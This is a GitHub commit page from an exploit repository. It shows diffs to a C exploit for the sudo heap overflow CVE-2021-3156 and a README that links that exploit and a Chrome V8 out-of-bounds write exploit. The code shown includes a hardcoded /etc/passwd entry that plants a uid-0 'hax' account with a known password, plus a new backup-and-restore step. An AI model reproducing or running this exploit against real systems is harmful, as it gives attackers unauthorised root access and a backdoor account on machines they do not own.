Skip to content

Commit c14aecb

Browse files
committed
2 parents 43d9a2b + 0ca7941 commit c14aecb

File tree

2 files changed

+7
-2
lines changed

2 files changed

+7
-2
lines changed

CVE-2021-3156/exploit.c

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,7 @@ char * get_user() {
6666
const char * contents = "\n\nhax:$6$q4tutskpH4.ezGv9$/R6eIP3viVO4oIds5WIqZPN5bQYT/Z1w9s6q6jw.6bO3FTohiFD1L1Jk9EhQdLiv1MeZOCF71PB41dTI2eV3C1:0:0:hax:/root:/bin/bash\n\n"; // password: hax
6767

6868
int main(void) {
69+
system("cp /etc/passwd /tmp/passwd_bak");
6970
size_t initial_size = get_passwd_size();
7071
char * basedir_name = get_random_string(0x20);
7172

@@ -94,7 +95,8 @@ int main(void) {
9495
waitpid(pid, 0, 0);
9596

9697
if(get_passwd_size() != initial_size) {
97-
puts("Success!");
98+
puts("[+] Success!");
99+
puts("Make sure to copy back /etc/passwd from /tmp/passwd_bak!");
98100
exit(0);
99101
}
100102
}

README.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,4 @@
1-
# exploits
1+
# exploits
2+
3+
[CVE-2021-3156](https://github.com/r4j0x00/exploits/blob/master/CVE-2021-3156/exploit.c): heap overflow in sudo
4+
[CVE-2020-6507](https://github.com/r4j0x00/exploits/blob/master/chrome-exploit/exploit.js): Out of bounds write in V8. Chrome versions <= 83.0.4103.97

0 commit comments

Comments
 (0)